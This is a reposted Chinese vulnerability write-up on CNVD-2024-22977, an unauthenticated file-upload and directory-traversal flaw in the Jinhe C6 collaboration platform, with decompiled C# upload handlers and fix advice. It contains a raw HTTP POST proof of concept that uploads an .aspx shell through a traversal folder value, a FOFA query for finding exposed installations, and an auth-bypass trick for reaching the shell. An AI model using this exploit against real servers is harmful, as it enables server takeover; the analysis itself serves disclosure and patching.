原文作者:本团队师傅chobits02
原文链接:https://forum.butian.net/article/710
一、漏洞简介
北京金和网络股份有限公司是一家领先的互联网及移动互联网技术供应商、服务商。
北京金和网络股份有限公司金和C6协同管理平台存在文件上传漏洞,攻击者可利用漏洞上传恶意文件,获取服务器权限。
二、影响版本
金和OA-C6的所有已知版本,在未进行安全修复/安装补丁前均可能受到影响。
三、漏洞分析
在金和C6协同管理平台中,默认会在部署的根目录文件夹的FileUpload文件夹下存在upload.ashx
方法,方便文件上传时调用
查看下upload.ashx
源码,对应的Class类方法是Fileupload
类下的upload
方法
反编译Fileupload.dll
,查看并找到下面的upload
方法,如下图
代码如下,此处传参folder
、encrypt
和type
参数,folder
指定保存目录,encrypt
指定文件内容是否加密,type
为类型默认为multi。之后进入保存文件方法SaveFileToServer
public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/plain"; context.Response.Charset = "gb2312"; string strFolder = "Slaves"; if (context.Request["folder"] != null) { strFolder = context.Request["folder"].ToString(); } string encrpyt = "true"; if (context.Request["encrpyt"] != null) { encrpyt = context.Request["encrpyt"].ToString(); } string type = "multi"; if (context.Request["type"] != null) { type = context.Request["type"].ToString(); } if (context.Request.Files.Count == 0 || string.IsNullOrWhiteSpace(context.Request.Files[0].FileName)) { this.WriteLog(string.Concat(new object[] { "Files.Count:", context.Request.Files.Count, "$$FileName:", context.Request.Files[0].FileName }), this.logName); } else { try { this.SaveFileToServer(context, strFolder, encrpyt, type); } catch (Exception ex) { context.Response.Write("SaveFileToServer ERROR:" + ex.Message); this.WriteLog("SaveFileToServer ERROR:" + ex.Message, this.logName); } }
追踪SaveFileToServer
方法,代码如下
private void SaveFileToServer(HttpContext context, string strFolder, string encrpyt, string type){ if (strFolder == "fceformext") { strFolder = "fceformext/res"; } string text = "../Resource/" + strFolder + "/"; HttpPostedFile httpPostedFile = context.Request.Files[0]; string contentType = httpPostedFile.ContentType; int contentLength = httpPostedFile.ContentLength; string text2 = text; string fileName = Path.GetFileName(httpPostedFile.FileName); string extension = Path.GetExtension(fileName); text2 = JHSoft.Web.CustomQuery.Upload.MapFilePath(text2); bool flag = false; if (context.Request["ie9"] == null) { flag = this.isImage(extension); } if (!Directory.Exists(text2)) { context.Response.Write("ERROR:The uploaded folder could not be found"); } else { text2 = text2 + "\" + JHSoft.Web.CustomQuery.Upload.FindSubDictbyDictPath(text2, true) + "\"; string text3 = Document.GetFileName("") + extension; if (encrpyt != "true" || flag) { text3 = text3.Replace("__", ""); } try { Stream stream = httpPostedFile.InputStream; string text4 = Path.Combine(text2, text3); string arg = ""; if (!File.Exists(text4)) { if (flag) { ImageThumbnail imageThumbnail = new ImageThumbnail(stream); imageThumbnail.ReduceImage(text4, 40); imageThumbnail.ResourceImage.Dispose(); } else { using (FileStream fileStream = new FileStream(text4, FileMode.CreateNew, FileAccess.Write)) { byte[] array = new byte[(int)stream.Length]; stream.Read(array, 0, array.Length); stream.Dispose(); stream.Close(); byte[] buffer = array; if (encrpyt == "true") { buffer = this.EncryptByte(array); } stream = new MemoryStream(buffer); int num = 4096; long length = stream.Length; long num2 = 0L; while (num2 < length) { byte[] array2; if (length - num2 >= (long)num) { array2 = new byte[num]; } else { array2 = new byte[length - num2]; } stream.Read(array2, 0, array2.Length); fileStream.Write(array2, 0, array2.Length); num2 += (long)array2.Length; if (type == "single") { long percent = num2 * 100L / length; upload.SendPercentToClient(percent); } } stream.Dispose(); stream.Close(); fileStream.Dispose(); fileStream.Close(); } } text2 = JHSoft.Web.CustomQuery.Upload.GetFileRelativeURLbyAbosolutePath(text2); string text5 = ""; if (!strFolder.ToLower().Contains("fceformext")) { text5 = UploadFile.SaveFile(text2 + text3, fileName, contentType, contentLength); } arg = string.Concat(new string[] { text5, "|", fileName, "|", text2, text3, "|", new Page().EncryptString(text5) }); } context.Response.Write(string.Format("{0}", arg)); } catch (Exception ex) { context.Response.Write("ERROR:" + ex.Message); this.WriteLog("ERROR:" + ex.Message, this.logName); } }}
代码很长,但是关键的代码只要看其中一段
strFolder
为传入的保存目录,此处和../Resource
拼接,未过滤字符串因此存在目录穿越。之后就是取上传文件的各种参数,再判断是否需要encrypt
为true时候加密,保存目录是否存在。最后再是保存文件到指定目录中
string text = "../Resource/" + strFolder + "/";HttpPostedFile httpPostedFile = context.Request.Files[0];string contentType = httpPostedFile.ContentType;int contentLength = httpPostedFile.ContentLength;string text2 = text;string fileName = Path.GetFileName(httpPostedFile.FileName);string extension = Path.GetExtension(fileName);text2 = JHSoft.Web.CustomQuery.Upload.MapFilePath(text2);bool flag = false;if (context.Request["ie9"] == null){ flag = this.isImage(extension);}if (!Directory.Exists(text2)){ context.Response.Write("ERROR:The uploaded folder could not be found");}else{ text2 = text2 + "\" + JHSoft.Web.CustomQuery.Upload.FindSubDictbyDictPath(text2, true) + "\";string text3 = Document.GetFileName("") + extension;
这里构造请求,不指定目录上传文件,可以看到文件被保存到/Resource/
文件夹下面。这是保存资源的文件夹,无法在外部访问到
指定保存文件夹为能访问到的/C6/
目录下面,继续请求,可以看到是能正常目录穿越保存的
最后就是访问上传的shell,验证连接shell文件成功(这里借助金和C6系统的未申请访问漏洞,在aspx文件末尾加上/
即可访问)
四、总结
金和OA C6系统存在未授权的文件上传方法,利用该方法可上传恶意文件,再结合不需要权限验证就能访问文件的历史漏洞,就能组合获取服务器权限。
五、资产测绘
FOFA语法
app="金和网络-金和OA"
六、漏洞复现
POC如下
POST /C6/Fileupload/Upload.ashx HTTP/1.1Host:Content-Type: multipart/form-data; boundary=---------------------------7d81b916a8ac8-----------------------------7d81b916a8ac8Content-Disposition: form-data; name="folder"........C6common-----------------------------7d81b916a8ac8Content-Disposition: form-data; name="encrpyt"false-----------------------------7d81b916a8ac8Content-Disposition: form-data; name="file"; filename="3212.aspx"Content-Type: text/plain文件内容-----------------------------7d81b916a8ac8--
七、漏洞修复建议
升级金和OA C6到最新版本,修改用于检查全局的AcquireRequestState
的EndsWith
方法,避免出现未授权访问;并对文件上传后缀进行白名单限制或是禁用upload.ashx
方法。
原文始发于微信公众号(C4安全团队):CNVD-2024-22977 金和C6协同管理平台文件上传漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论